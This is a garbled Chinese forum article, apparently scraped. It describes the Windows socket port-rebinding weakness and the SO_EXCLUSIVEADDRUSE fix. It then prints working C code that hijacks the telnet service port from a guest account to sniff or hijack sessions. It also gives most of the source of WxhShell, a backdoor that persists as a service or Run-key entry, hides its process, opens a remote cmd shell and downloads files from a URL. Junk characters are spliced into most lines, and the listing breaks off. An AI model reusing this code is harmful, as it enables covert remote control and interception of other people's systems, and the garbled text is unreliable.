在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qv`:o
` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}mS
Q!"f: OkphbAX saddr.sin_family = AF_INET;
h1#l12k^' U+uIuhz saddr.sin_addr.s_addr = htonl(INADDR_ANY);
OA7=kH@3c %5;kNeD\Fq bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Up>,~bs] #+^l3hMK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)5TX3#=;(G (A;HB@)[A 这意味着什么?意味着可以进行如下的攻击:
]@qD4: 1(kd3qX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?[
D6|gp R=W$3Ue~, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
w$749jGx _X)]/A%@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-./Y xG(:O@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
II.Wa&w} {9hhfI#3_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
VKi3z%kwK XV!UeBq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
HPK}Z|Vl XlGB`P>?KD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
mHc2v==X\- 7VJf~\%1j #include
[ <Q{ #include
*}LQZFrnX #include
_K~?{". #include
R xWD>: DWORD WINAPI ClientThread(LPVOID lpParam);
bL5dCQxty int main()
S1!_ IK$m {
%;` 3I$ WORD wVersionRequested;
v=H!Y"; DWORD ret;
7p18;Z+6>X WSADATA wsaData;
*kDV ^RBfq BOOL val;
Q1
vse SOCKADDR_IN saddr;
6:\z8fYD SOCKADDR_IN scaddr;
[92bGR{ int err;
FRTvo SOCKET s;
#p=Wt&2 SOCKET sc;
F#{PJ# int caddsize;
U3w*z6OG HANDLE mt;
g:"Hg-s DWORD tid;
qxD<mZ@-R0 wVersionRequested = MAKEWORD( 2, 2 );
wSs78c= err = WSAStartup( wVersionRequested, &wsaData );
xX])IZD if ( err != 0 ) {
`RE1q)o}8M printf("error!WSAStartup failed!\n");
dGc>EZSdj return -1;
5xG/>fn }
!Jo.Un7 saddr.sin_family = AF_INET;
*Xd_=@L&B O0"&wvR+5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i)e)FhEY6 O11.wLNH saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v aaZ saddr.sin_port = htons(23);
upH%-)%' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/XW,H0pR {
2qkC{klC^M printf("error!socket failed!\n");
o6;VrpaNi return -1;
GG_A'eX:I }
?Qs>L~ val = TRUE;
YCQ+9 //SO_REUSEADDR选项就是可以实现端口重绑定的
#D!3a%u0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fI0L\^b% {
gClDVO printf("error!setsockopt failed!\n");
i@d@~M7/ return -1;
hO:X\:G }
e 3>k" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
YuDNm}r[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ts0K"xmY\c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
RbNRBK!{ d_Vwjv&@/" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LvS3c9|Aj {
>Y/1%Hp9 ret=GetLastError();
FJ&zU<E printf("error!bind failed!\n");
("BFI return -1;
N:/$N@"Ge }
**O4"+Xi8 listen(s,2);
r^6vo6^ while(1)
+NEP*mk {
]j:Ikb} caddsize = sizeof(scaddr);
ByZ.!~ //接受连接请求
gf2w@CVF>= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_E[{7"3} if(sc!=INVALID_SOCKET)
)+9D$m=P; {
Lp*T=]C] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
G8?<(.pi@ if(mt==NULL)
W.,J' {
efP2 C\ printf("Thread Creat Failed!\n");
y]\R0lR break;
c#;LH5KI }
\9k{"4jX\ }
|qNrj~n@ CloseHandle(mt);
n*6',BY }
_?_Svx2 closesocket(s);
<FK7Rz:4T WSACleanup();
0+:.9*g=k return 0;
^NLKX5Q }
x{*!"a> DWORD WINAPI ClientThread(LPVOID lpParam)
S8vmXlD {
?\F ,}e SOCKET ss = (SOCKET)lpParam;
{nOK*7+" SOCKET sc;
@+X}O/74 unsigned char buf[4096];
r5iO%JFg SOCKADDR_IN saddr;
I}v'n{5( long num;
)3B5"b, DWORD val;
rb\Ohv\ DWORD ret;
?3z+|;t6C //如果是隐藏端口应用的话,可以在此处加一些判断
3]Lk}0atpL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
TzL40="F saddr.sin_family = AF_INET;
W@$p'IBwm saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
D+o.9I/{ saddr.sin_port = htons(23);
O\KAvoQ%s if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c)6Y.[). {
{Rj' =%h printf("error!socket failed!\n");
_@prv7e return -1;
o>`/,-! }
j*:pW;)^ val = 100;
?s"v0cg+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z ''P5B; {
YJ16vb9 ret = GetLastError();
^]R0d3?>\ return -1;
/?XfVhA:A }
=OZ_\vO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C${TC+z {
}Rux<=cd| ret = GetLastError();
t2Y~MyT/ return -1;
|b3/63Ri-0 }
usTCn3u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V!<#E)-?< {
"^D6%I#T printf("error!socket connect failed!\n");
\!V6` @0KC closesocket(sc);
d|NNIf closesocket(ss);
.yP
3}Nl return -1;
_5LlL#) }
F_Pd\Aq8 while(1)
t@HE.h {
anwn!Eqk" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7z,M`14 //如果是嗅探内容的话,可以再此处进行内容分析和记录
hW+Dko(s //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1a!h&!$9 num = recv(ss,buf,4096,0);
T+ t-0k if(num>0)
L
wu;y@[ send(sc,buf,num,0);
Fszk?0T else if(num==0)
B&$89]gs| break;
~3YNHm6V num = recv(sc,buf,4096,0);
LGMFv if(num>0)
fIcv}Y send(ss,buf,num,0);
2Ls<OO else if(num==0)
t]o gn( break;
l&A` }
:gVjBF2 closesocket(ss);
(os7Q? closesocket(sc);
O9y Q9sl return 0 ;
^,5.vfES }
7@"X~C XHg%X z} \9/` ==========================================================
rN~`4mZ By_Ui6:D 下边附上一个代码,,WXhSHELL
e.GzGX D?'y)]( ==========================================================
h5gXYmk 9$ S,P| #include "stdafx.h"
u~kwNN9t3 p{J_d,JH #include <stdio.h>
E)E! #include <string.h>
Ttj5%~ #include <windows.h>
Wd}mC<rv1 #include <winsock2.h>
}a1UOScO0 #include <winsvc.h>
8#Z5-",iw #include <urlmon.h>
O?WaMfS[1 B<RONQj_ #pragma comment (lib, "Ws2_32.lib")
:qp"Ao{M #pragma comment (lib, "urlmon.lib")
Nw2 bn $OD5t5eTsM #define MAX_USER 100 // 最大客户端连接数
ezvaAhd{ #define BUF_SOCK 200 // sock buffer
aVYUk7_ < #define KEY_BUFF 255 // 输入 buffer
,H?p9L; qp jb2:O,+! #define REBOOT 0 // 重启
{\&"I|dpe #define SHUTDOWN 1 // 关机
f)x}_dw% zOOX>3^ #define DEF_PORT 5000 // 监听端口
iFA"m;$ ,lJ6"J\8. #define REG_LEN 16 // 注册表键长度
S8RB0^Q7 #define SVC_LEN 80 // NT服务名长度
#0D.37R+k |7$h@KF=S // 从dll定义API
5!zvoX9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/<$"c"UQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d"UW38K{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,no:6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
WLLv a<{ Fc~w`~tv // wxhshell配置信息
? ^CGJ1 struct WSCFG {
72zuI4& int ws_port; // 监听端口
A%1=6 char ws_passstr[REG_LEN]; // 口令
MGzF+ln^U int ws_autoins; // 安装标记, 1=yes 0=no
!y`e,(E char ws_regname[REG_LEN]; // 注册表键名
C#&6p0U char ws_svcname[REG_LEN]; // 服务名
u&x K>7 char ws_svcdisp[SVC_LEN]; // 服务显示名
([-=NT}Aq char ws_svcdesc[SVC_LEN]; // 服务描述信息
o
z{j2% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
syf"{bBe int ws_downexe; // 下载执行标记, 1=yes 0=no
61/zrMPn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8!GLw-kb char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H|U/tU- ..!-)q'? };
X^5"7phI@ &'b}N // default Wxhshell configuration
l%(`<a]VIB struct WSCFG wscfg={DEF_PORT,
\ZRoTh "xuhuanlingzhe",
~N^vE; 1,
1>VS/H` "Wxhshell",
rcmAVl:$> "Wxhshell",
:5{@* "WxhShell Service",
}>~>5jc/Pg "Wrsky Windows CmdShell Service",
&2=KQ\HO "Please Input Your Password: ",
Te}yQ= + 1,
!u}3H|6~ "
http://www.wrsky.com/wxhshell.exe",
J*!:ar "Wxhshell.exe"
;-GzGDc~0 };
bTGK@~ FraW6T}_ // 消息定义模块
dJ:x1j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Q'%o;z* char *msg_ws_prompt="\n\r? for help\n\r#>";
#L:P
R> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4E\ntufo char *msg_ws_ext="\n\rExit.";
V )k, 9= char *msg_ws_end="\n\rQuit.";
y32++b! char *msg_ws_boot="\n\rReboot...";
N%A`rY}u char *msg_ws_poff="\n\rShutdown...";
y!N)@y4 char *msg_ws_down="\n\rSave to ";
(mIJI,[xn lp-Zx[#`}C char *msg_ws_err="\n\rErr!";
Cw&D} char *msg_ws_ok="\n\rOK!";
F}(QKO* n
E}<e: char ExeFile[MAX_PATH];
Ygi1"X} int nUser = 0;
4F,Ql"ae( HANDLE handles[MAX_USER];
4<<bk_7' int OsIsNt;
OsL%SKs| !u{"] T: SERVICE_STATUS serviceStatus;
w<e;rKr SERVICE_STATUS_HANDLE hServiceStatusHandle;
C!{AnWf NS4'IR=;E! // 函数声明
r`R~{;oT int Install(void);
,&&M|,NQ&s int Uninstall(void);
ob0 8xGj int DownloadFile(char *sURL, SOCKET wsh);
V<2fPDZ int Boot(int flag);
w;@25=
| void HideProc(void);
!x$:8R int GetOsVer(void);
JkDPuTXD int Wxhshell(SOCKET wsl);
Lp`<L -s void TalkWithClient(void *cs);
xGEmrE<; int CmdShell(SOCKET sock);
^]qV8 int StartFromService(void);
OZ'.}((?n int StartWxhshell(LPSTR lpCmdLine);
3zTE4pHzu+ fj-pNl6Gf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kq%gY VOID WINAPI NTServiceHandler( DWORD fdwControl );
P%@rH@^Y s"',370 // 数据结构和表定义
`}~)1'(#/ SERVICE_TABLE_ENTRY DispatchTable[] =
rW~?0 {
sh(kRrdY3 {wscfg.ws_svcname, NTServiceMain},
xR|eye R {NULL, NULL}
.z$Sm };
3P#+)
F~ :#w+?LA* // 自我安装
M_!u@\ int Install(void)
xw+<p {
r*N~. tFo char svExeFile[MAX_PATH];
i=1 }lkq HKEY key;
f']sU/c= strcpy(svExeFile,ExeFile);
ri<'-w i ?D(FNd // 如果是win9x系统,修改注册表设为自启动
}or2 $\>m if(!OsIsNt) {
L+L"$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`Ixs7{&jU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jemxky RegCloseKey(key);
6I&j
cHH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
aXIB ) $1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o'^;tLs15 RegCloseKey(key);
6c2ThtL return 0;
n4WSV }
YO(:32S }
G&@-R{i }
I[=Wmxa?r else {
nGx ~)T Ep<!zO| // 如果是NT以上系统,安装为系统服务
QP$nDK< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
s`#ntset0 if (schSCManager!=0)
Q)G!Y
(g\ {
~Un64M? SC_HANDLE schService = CreateService
DhWWN>I (
jy!f{dsC schSCManager,
Yz2{LW[K wscfg.ws_svcname,
BZJKiiD wscfg.ws_svcdisp,
C!7U<rI SERVICE_ALL_ACCESS,
@1<omsl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#.)xm(Ys SERVICE_AUTO_START,
T/wM(pr'
SERVICE_ERROR_NORMAL,
Mu'^OX82 svExeFile,
,b6kTQq NULL,
tg7C;rJ NULL,
{5QosC+o6Q NULL,
U~{Sa+ NULL,
gb=80s0 NULL
N
b3I%r );
~>#LOT ` if (schService!=0)
O1?B{F/ e {
1 [fo'M CloseServiceHandle(schService);
FgOUe CloseServiceHandle(schSCManager);
*MYt:ms strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(|g").L strcat(svExeFile,wscfg.ws_svcname);
;23=p=/h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*|];f#^9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#"Eks79s RegCloseKey(key);
t7|MkX1 return 0;
OgEUq'' }
|?x^8e<* }
7$+P|U CloseServiceHandle(schSCManager);
0 W~.WkD }
u?q&K|
}
"H5&3sF2 bbd0ocva return 1;
fDU+3b }
cP*c(k~N :
cFF // 自我卸载
7<EJo$-j int Uninstall(void)
fd?bU|I_2 {
h'B9|Cm HKEY key;
,^.S0;D,Z s8t f@H4r if(!OsIsNt) {
j';n8|Y9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$42Au2Jg RegDeleteValue(key,wscfg.ws_regname);
E7rX1YdR RegCloseKey(key);
L"[IOV9S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oy2(A g\ RegDeleteValue(key,wscfg.ws_regname);
T(Y}V[0+ RegCloseKey(key);
x8 f6, return 0;
RRx`}E9, }
J3H.%m!V }
KU+( YF$1 }
d@-wi%,^ else {
7'_nc!ME Sdgb#?MR| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/K_ i8!y if (schSCManager!=0)
:~t<L%tYF {
qPsyqn?Y| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
UG6M9 if (schService!=0)
xe(MHNrj {
oz%h)#; if(DeleteService(schService)!=0) {
;e&! CloseServiceHandle(schService);
wX-RQ[2X CloseServiceHandle(schSCManager);
myD{sE2A return 0;
;US83%* }
dKU5; CloseServiceHandle(schService);
%z1{Kus }
z8b
_ _%Br CloseServiceHandle(schSCManager);
pz$_W }
-{!&/;Z }
pAENXC\, mH'\:oN return 1;
=fo4x|{O }
f4R1$(< DZJeup?Z // 从指定url下载文件
(F_w>w.h int DownloadFile(char *sURL, SOCKET wsh)
Tc:sldtCk {
q;p.wEbr4U HRESULT hr;
a
]>V ZOet char seps[]= "/";
mDZ=Due1 char *token;
bKYY{V55 char *file;
u-lrTa""z char myURL[MAX_PATH];
*7\W=- char myFILE[MAX_PATH];
5QR}IxQ GXO4x|08F strcpy(myURL,sURL);
*0O<bm token=strtok(myURL,seps);
>5c]aNcv while(token!=NULL)
HH7[tGF {
TNx _Rc} file=token;
gTnS[ token=strtok(NULL,seps);
(JWv *p }
Q2q|*EL Eevw*;$x GetCurrentDirectory(MAX_PATH,myFILE);
1XCmMZ strcat(myFILE, "\\");
L+73aN strcat(myFILE, file);
&T7cH>E'K^ send(wsh,myFILE,strlen(myFILE),0);
3i6h"Wu`n send(wsh,"...",3,0);
\OP9_J(* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_y>}#6B if(hr==S_OK)
YtMlqF return 0;
#L\o;p( else
+miR3~w. return 1;
ANotUty;y mzu<C)9d, }
z<t>hzl7 )'`CC>Q // 系统电源模块
|!oXvXU int Boot(int flag)
lO[E[c G {
q4)Ey HANDLE hToken;
GJvp{U}y9I TOKEN_PRIVILEGES tkp;
5.dl>, Gh'X.?3 if(OsIsNt) {
|<1M&\oaQ' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
BO"qD[S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
kAeNQRjR tkp.PrivilegeCount = 1;
KYf;_C,$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fL2^\dB; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!f`5B( @ if(flag==REBOOT) {
ZEqE$: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
u7[pLtOwN return 0;
$]1qbE+ }
A0OB$OK else {
)L >Q;' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l:)S 3 return 0;
bfhz?,b }
w]F!2b! }
7x(v? else {
.D!WO if(flag==REBOOT) {
w]}f6VlEl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^(DL+r, return 0;
J
B(<.E2 }
C;ptir1G; else {
JDKLKHOMZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Ts#pUoE~+H return 0;
Wa<-AZnh }
9ZhDZ~)p, }
oK$'9c5< *y?[<2"$ return 1;
$C$ub&D
~" }
3[.3dy7,Z K_Re}\D // win9x进程隐藏模块
^\T]r<rCY void HideProc(void)
0X#+#[W {
6m@0;Ht -zdmr"CA HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
PV(4$I} if ( hKernel != NULL )
z-I|h~ii {
hVkO%]? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[Teh*CV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
s*.3ZS5 FreeLibrary(hKernel);
aDh|48}X }
i&*<lff 50*@.!^* return;
2eHx"Ha }
D?mDG|Z _Z$?^gn // 获取操作系统版本
m@[3~
6A int GetOsVer(void)
/S[?{Q A {
T6X}Ws " OSVERSIONINFO winfo;
Cx,-_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<S&]$?`{Wi GetVersionEx(&winfo);
5e8xKL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Fv A8T2-v return 1;
J)KnE2dw5 else
xj7vI&u. return 0;
%mu>-h ac }
'-.wFB; zIm-X,~I$ // 客户端句柄模块
pZjpc#*9N int Wxhshell(SOCKET wsl)
=9<$eLE0 {
iu|v9+ SOCKET wsh;
C5MqwNX struct sockaddr_in client;
W "k|K: DWORD myID;
&r:=KT3 Sz)b7: while(nUser<MAX_USER)
jqtVpNwM {
_JA:.V^3gm int nSize=sizeof(client);
!=y Q)l2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^7^2D2[ if(wsh==INVALID_SOCKET) return 1;
j76%UG\Ga K[]K53Nk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
v^TkDf(Oz if(handles[nUser]==0)
e[8UH =`| closesocket(wsh);
1yS&~
y?a else
QAUykS8 nUser++;
o} {-j
}
=ajLa/m' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"&<~UiI mrqaM2,(I return 0;
g>T }
ai9 s[T{c.F // 关闭 socket
/B[}I}X void CloseIt(SOCKET wsh)
U!Mf]3
{
`S$sQ& closesocket(wsh);
t\%%d)d9 nUser--;
*:S~C ExitThread(0);
`2e_ L }
t}~UYG(h~ #Cx%OIi[f // 客户端请求句柄
Ld~ q1*7J void TalkWithClient(void *cs)
?BsH{QRYQ {
.1{l[[= W R;'?;I SOCKET wsh=(SOCKET)cs;
)qd={ char pwd[SVC_LEN];
CIy^`2wq char cmd[KEY_BUFF];
=f `=@] char chr[1];
u(Rk'7k int i,j;
'kEG.Oq7 bvp)r[8h while (nUser < MAX_USER) {
ckWkZ
78\ `M0YAiG if(wscfg.ws_passstr) {
(
OXY^iq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p[ Hr39o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Fv@tD4I> //ZeroMemory(pwd,KEY_BUFF);
>f%, `r i=0;
JhH`uA& while(i<SVC_LEN) {
&?r*p0MQC snq;:n! // 设置超时
j%WY ,2P fd_set FdRead;
Ro~fvL~Ps struct timeval TimeOut;
10O3Z9 FD_ZERO(&FdRead);
63C(Tp" FD_SET(wsh,&FdRead);
PkO!'X TimeOut.tv_sec=8;
BV1u,<T" TimeOut.tv_usec=0;
&g
{<HU?BT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u GAh7Sop if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2rmNdvvrk C5;wf3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bQj`g2eyM pwd
=chr[0]; M}KZG'7
if(chr[0]==0xd || chr[0]==0xa) { ?S9Nm~vlt
pwd=0; ;h9W\Se
break; z{/LX
\
} )mG0g@ qOK
i++; )ji@k(x27q
} wE4;Rk1
vcM~i^24)
// 如果是非法用户,关闭 socket %l;*I?0H
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8,y{q9O
} m_$JWv\|\
K( z[}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MHFaSl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bs P6\'\4
ZMJ3NN]F
while(1) { ydup)[n
{lMqcK
ZeroMemory(cmd,KEY_BUFF); j-6v2MH
82s5VQ6
// 自动支持客户端 telnet标准 .jaZ|nN8`
j=0; m/{Y]D{2
while(j<KEY_BUFF) { ,ex]$fQ'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,jTPg/r
cmd[j]=chr[0]; lz}llLb1
if(chr[0]==0xa || chr[0]==0xd) { Pa[?L:E
cmd[j]=0; p+)C$2YK
break; #@E(<Pu4`
} 2m_H*1HJ
j++; 0mVuD\#=!
} mtIMW9
0Nt%YP
// 下载文件 .*:h9AE7vo
if(strstr(cmd,"http://")) { nd;O(s;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kU1 %f
o
if(DownloadFile(cmd,wsh)) 7JS#a=D#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &urb!tQ>&
else gW}} 5Xq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eVrNYa1>H
} (rIXbekgB
else { ,#
eO&
Lrlk*
switch(cmd[0]) { U&X.
) G|"jFP
// 帮助 {zu/tCq?
case '?': { ,O2q+'&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @ct#s:t
break; 2]3G1idB
} ;M-,HK4=
// 安装 j
C9<hLt
case 'i': { %]!?{U\*k
if(Install()) ExQ--!AC=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4rm87/u*0
else )%BT*)x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~%IM1+L;
break; w0aHEvH/
} 7>
)l{7
// 卸载 jOtzx"/)rE
case 'r': { %uW<
if(Uninstall()) R@&?i=gk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }-dF+m:
else v|>BDN@,6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tpE3|5dZF
break; g&P9UW>qS
} `u$24h'!
// 显示 wxhshell 所在路径 Fos1WH?\
case 'p': { 1&} G+y
char svExeFile[MAX_PATH]; ONNW.xHp
strcpy(svExeFile,"\n\r"); 'h k @>"
strcat(svExeFile,ExeFile); .C6gl]6y@
send(wsh,svExeFile,strlen(svExeFile),0); 9 #:ue@)
break; 9a-]T=5Ee
} S`4e@Z$
// 重启 nE4l0[_
case 'b': { vRxL&8`&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a9L0f BRy
if(Boot(REBOOT)) 0oQ/J:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}A^]6MO:
else { {8_:4`YZ
closesocket(wsh); S~}$Ly@
ExitThread(0); fq{I$syY
} 2AmR(vVa"
break; (Y&R0jt
} =w t-YM
// 关机 |O2|`"7
case 'd': { 31H|?cg<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ddl3fl#f
if(Boot(SHUTDOWN)) K:C+/O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5t TLMZ `o
else { ]D?oQ$q7
closesocket(wsh); omr:C8T>
ExitThread(0); -B",&yTV
} XPrY`,kN
break; Fv<]mu
} Gl=@>Dc%
// 获取shell &MBOAHhze
case 's': { f.sPE8#3=
CmdShell(wsh); 0GF%~6
closesocket(wsh); s8C:QC
ExitThread(0); UX03"gX
break; *pmoLiuB>
} 9.^-us1
// 退出 U. NeK{
case 'x': { zp}yiE!bl
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
4{c`g$j>
CloseIt(wsh); M,I68
break; F@oT7NB/n
} _$~ex ~v
// 离开 1V#B]x:
case 'q': { G;87in ,}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5B_-nYJDt
closesocket(wsh); -(`K7T>D.
WSACleanup(); :+kg4v&r
exit(1); HrM)jC<~
break; 3ZLr"O1l )
} DX7Ou%P,mg
} 8s\8`2=
} x A@|I#
Aigcq38
// 提示信息 "0p +SZ~D
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HE8'N=0
} *)2x&~T*|
} "'Q$.sR
2X
qPZ]2g
return; 17?NR\Q
} 7]R6
1==P.d(
// shell模块句柄 bgkbwE
int CmdShell(SOCKET sock) yL^M~lws
{ >^2ZM
STARTUPINFO si; e/g<<f-
ZeroMemory(&si,sizeof(si)); WoC\a^V
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1)nM#@%](h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k
2
mkOb
PROCESS_INFORMATION ProcessInfo; '` BjRg57]
char cmdline[]="cmd"; h Kp,4D>2_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^^20vwq
return 0; n#/U@qVgc
} v]UU&Jq8U
lyMJW}T+>
// 自身启动模式 .2 N_?
int StartFromService(void) 7=9A_4G!
{ QH~8
aE_i
typedef struct ~)oWSo5ll
{ VuYWb)@
DWORD ExitStatus; ^H@!)+
=
